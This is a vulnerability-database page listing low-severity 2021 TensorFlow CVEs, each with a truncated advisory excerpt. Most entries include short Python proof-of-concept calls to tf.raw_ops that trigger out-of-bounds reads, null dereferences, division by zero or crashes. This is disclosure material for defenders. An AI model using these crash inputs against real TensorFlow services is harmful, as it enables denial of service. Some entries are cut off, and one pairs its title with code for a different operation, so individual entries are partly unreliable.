Intel Optimization For Tensorflow vulnerabilities
429 known vulnerabilities affecting intel/optimization_for_tensorflow.
Total CVEs
429
CISA KEV
0
Public exploits
0
Exploited in wild
0
Severity breakdown
CRITICAL5HIGH121MEDIUM200LOW103
Vulnerabilities
Page 19 of 22
CVE-2021-29553LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29553 [LOW] CWE-125 Heap OOB in `QuantizeAndDequantizeV3`
Heap OOB in `QuantizeAndDequantizeV3`
### Impact
An attacker can read data outside of bounds of heap allocated buffer in `tf.raw_ops.QuantizeAndDequantizeV3`:
```python
import tensorflow as tf
tf.raw_ops.QuantizeAndDequantizeV3(
input=[2.5,2.5], input_min=[0,0], input_max=[1,1], num_bits=[30],
signed_input=False, range_given=False, narrow_range=False, axis=3)
```
This is because the [implementation](https://github.com/tensorf
ghsaosv
CVE-2021-29538LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29538 [LOW] CWE-369 Division by zero in `Conv2DBackpropFilter`
Division by zero in `Conv2DBackpropFilter`
### Impact
An attacker can cause a division by zero to occur in `Conv2DBackpropFilter`:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
filter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
ghsaosv
CVE-2021-29575LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29575 [LOW] CWE-119 Overflow/denial of service in `tf.raw_ops.ReverseSequence`
Overflow/denial of service in `tf.raw_ops.ReverseSequence`
### Impact
The implementation of `tf.raw_ops.ReverseSequence` allows for stack overflow and/or `CHECK`-fail based denial of service.
```python
import tensorflow as tf
input = tf.zeros([1, 1, 1], dtype=tf.int32)
seq_lengths = tf.constant([0], shape=[1], dtype=tf.int32)
tf.raw_ops.ReverseSequence(
input=input, seq_lengths=seq_lengths, seq_dim=-2, ba
ghsaosv
CVE-2021-29516LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29516 [LOW] CWE-476 Null pointer dereference via invalid Ragged Tensors
Null pointer dereference via invalid Ragged Tensors
### Impact
Calling `tf.raw_ops.RaggedTensorToVariant` with arguments specifying an invalid ragged tensor results in a null pointer dereference:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv3D(input=input_tensor, fi
ghsaosv
CVE-2021-29545LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29545 [LOW] CWE-131 Heap buffer overflow in `SparseTensorToCSRSparseMatrix`
Heap buffer overflow in `SparseTensorToCSRSparseMatrix`
### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in converting sparse tensors to CSR Sparse matrices:
```python
import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops
indices_array = np.array([[0, 0]])
value_array = np.array([0.0], dtype=np.float32)
dense_shape = [0, 0]
s
ghsaosv
CVE-2021-29551LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29551 [LOW] CWE-125 OOB read in `MatrixTriangularSolve`
OOB read in `MatrixTriangularSolve`
### Impact
The implementation of [`MatrixTriangularSolve`](https://github.com/tensorflow/tensorflow/blob/8cae746d8449c7dda5298327353d68613f16e798/tensorflow/core/kernels/linalg/matrix_triangular_solve_op_impl.h#L160-L240) fails to terminate kernel execution if one validation condition fails:
```cc
void ValidateInputTensors(OpKernelContext* ctx, const Tensor& in0,
const Tensor& in1) override {
O
ghsaosv
CVE-2021-29584LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29584 [LOW] CWE-190 CHECK-fail due to integer overflow
CHECK-fail due to integer overflow
### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in caused by an integer overflow in constructing a new tensor shape:
```python
import tensorflow as tf
input_layer = 2**60-1
sparse_data = tf.raw_ops.SparseSplit(
split_dim=1,
indices=[(0, 0), (0, 1), (0, 2),
(4, 3), (5, 0), (5, 1)],
values=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0],
shape=(input_layer, input_layer),
num_split=2,
name
ghsaosv
CVE-2021-29618LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29618 [LOW] CWE-755 Crash in `tf.transpose` with complex inputs
Crash in `tf.transpose` with complex inputs
### Impact
Passing a complex argument to `tf.transpose` at the same time as passing `conjugate=True` argument results in a crash:
```python
import tensorflow as tf
tf.transpose(conjugate=True, a=complex(1))
```
### Patches
We have received a patch for the issue in GitHub commit [1dc6a7ce6e0b3e27a7ae650bfc05b195ca793f88](https://github.com/tensorflow/tensorflow/commit/1dc6a7ce6e
ghsaosv
CVE-2021-29527LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29527 [LOW] CWE-369 Division by 0 in `QuantizedConv2D`
Division by 0 in `QuantizedConv2D`
### Impact
An attacker can trigger a division by 0 in `tf.raw_ops.QuantizedConv2D`:
```python
import tensorflow as tf
input = tf.zeros([1, 1, 1, 1], dtype=tf.quint8)
filter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8)
min_input = tf.constant(0.0)
max_input = tf.constant(0.0001)
min_filter = tf.constant(0.0)
max_filter = tf.constant(0.0001)
strides = [1, 1, 1, 1]
padding = "SAME"
tf.r
ghsaosv
CVE-2021-29583LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29583 [LOW] CWE-125 Heap buffer overflow and undefined behavior in `FusedBatchNorm`
Heap buffer overflow and undefined behavior in `FusedBatchNorm`
### Impact
The implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow:
```python
import tensorflow as tf
x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
mean = tf.constant([0.0], shape=[1], dtype=
ghsaosv
CVE-2021-29598LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29598 [LOW] CWE-369 Division by zero in TFLite's implementation of `SVDF`
Division by zero in TFLite's implementation of `SVDF`
### Impact
The implementation of the `SVDF` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/7f283ff806b2031f407db64c4d3edcda8fb9f9f5/tensorflow/lite/kernels/svdf.cc#L99-L102):
```cc
const int rank = params->rank;
...
TF_LITE_ENSURE_EQ(context, num_filters % rank, 0);
```
An attacker can craft a model
ghsaosv
CVE-2021-29570LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29570 [LOW] CWE-125 Heap out of bounds read in `MaxPoolGradWithArgmax`
Heap out of bounds read in `MaxPoolGradWithArgmax`
### Impact
The implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:
```python
import tensorflow as tf
input = tf.constant([10.0, 10.0, 10.0], shape=[1, 1, 3, 1], dtype=tf.float32)
grad = tf.constant([10.0, 10.0, 10.0, 10.0], shape=[1, 1, 1, 4], dtype=tf.float32)
ghsaosv
CVE-2021-29515LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29515 [LOW] CWE-476 Reference binding to null pointer in `MatrixDiag*` ops
Reference binding to null pointer in `MatrixDiag*` ops
### Impact
The implementation of [`MatrixDiag*` operations](https://github.com/tensorflow/tensorflow/blob/4c4f420e68f1cfaf8f4b6e8e3eb857e9e4c3ff33/tensorflow/core/kernels/linalg/matrix_diag_op.cc#L195-L197) does not validate that the tensor arguments are non-empty:
```cc
num_rows = context->input(2).flat()(0);
num_cols = context->input(3).flat()(0);
padding
ghsaosv
CVE-2021-29530LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29530 [LOW] CWE-476 Invalid validation in `SparseMatrixSparseCholesky`
Invalid validation in `SparseMatrixSparseCholesky`
### Impact
An attacker can trigger a null pointer dereference by providing an invalid `permutation` to `tf.raw_ops.SparseMatrixSparseCholesky`:
```python
import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops
indices_array = np.array([[0, 0]])
value_array = np.array([-10.0], dtype=np.float32)
dense_shape =
ghsaosv
CVE-2021-29571LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29571 [LOW] CWE-787 Memory corruption in `DrawBoundingBoxesV2`
Memory corruption in `DrawBoundingBoxesV2`
### Impact
The implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:
```python
import tensorflow as tf
images = tf.fill([10, 96, 0, 1], 0.)
boxes = tf.fill([10, 53, 0], 0.)
colors = tf.fill([0, 1], 0.)
tf.raw_ops.DrawBoundingBoxesV2(images=images, boxes=boxes, colors=colors)
``
ghsaosv
CVE-2021-29586LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29586 [LOW] CWE-369 Division by zero in optimized pooling implementations in TFLite
Division by zero in optimized pooling implementations in TFLite
### Impact
Optimized pooling implementations in TFLite fail to check that the stride arguments are not 0 before calling [`ComputePaddingHeightWidth`](https://github.com/tensorflow/tensorflow/blob/3f24ccd932546416ec906a02ddd183b48a1d2c83/tensorflow/lite/kernels/pooling.cc#L90).
Since users can craft special models which will have `params->s
ghsaosv
CVE-2021-29563LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29563 [LOW] CWE-617 CHECK-fail in `tf.raw_ops.RFFT`
CHECK-fail in `tf.raw_ops.RFFT`
### Impact
An attacker can cause a denial of service by exploiting a `CHECK`-failure coming from the implementation of `tf.raw_ops.RFFT`:
```python
import tensorflow as tf
inputs = tf.constant([1], shape=[1], dtype=tf.float32)
fft_length = tf.constant([0], shape=[1], dtype=tf.int32)
tf.raw_ops.RFFT(input=inputs, fft_length=fft_length)
```
The above example causes Eigen code to operate on an empty ma
ghsaosv
CVE-2021-29524LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29524 [LOW] CWE-369 Division by 0 in `Conv2DBackpropFilter`
Division by 0 in `Conv2DBackpropFilter`
### Impact
An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter
ghsaosv
CVE-2021-29532LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29532 [LOW] CWE-125 Heap out of bounds read in `RaggedCross`
Heap out of bounds read in `RaggedCross`
### Impact
An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`:
```python
import tensorflow as tf
ragged_values = []
ragged_row_splits = []
sparse_indices = []
sparse_values = []
sparse_shape = []
dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)
dense_inputs = [dense_inputs_elem]
ghsaosv
CVE-2021-29582LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29582 [LOW] CWE-125 Heap OOB read in `tf.raw_ops.Dequantize`
Heap OOB read in `tf.raw_ops.Dequantize`
### Impact
Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data:
```python
import tensorflow as tf
input_tensor=tf.constant(
[75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10, -10, -10, -
ghsaosv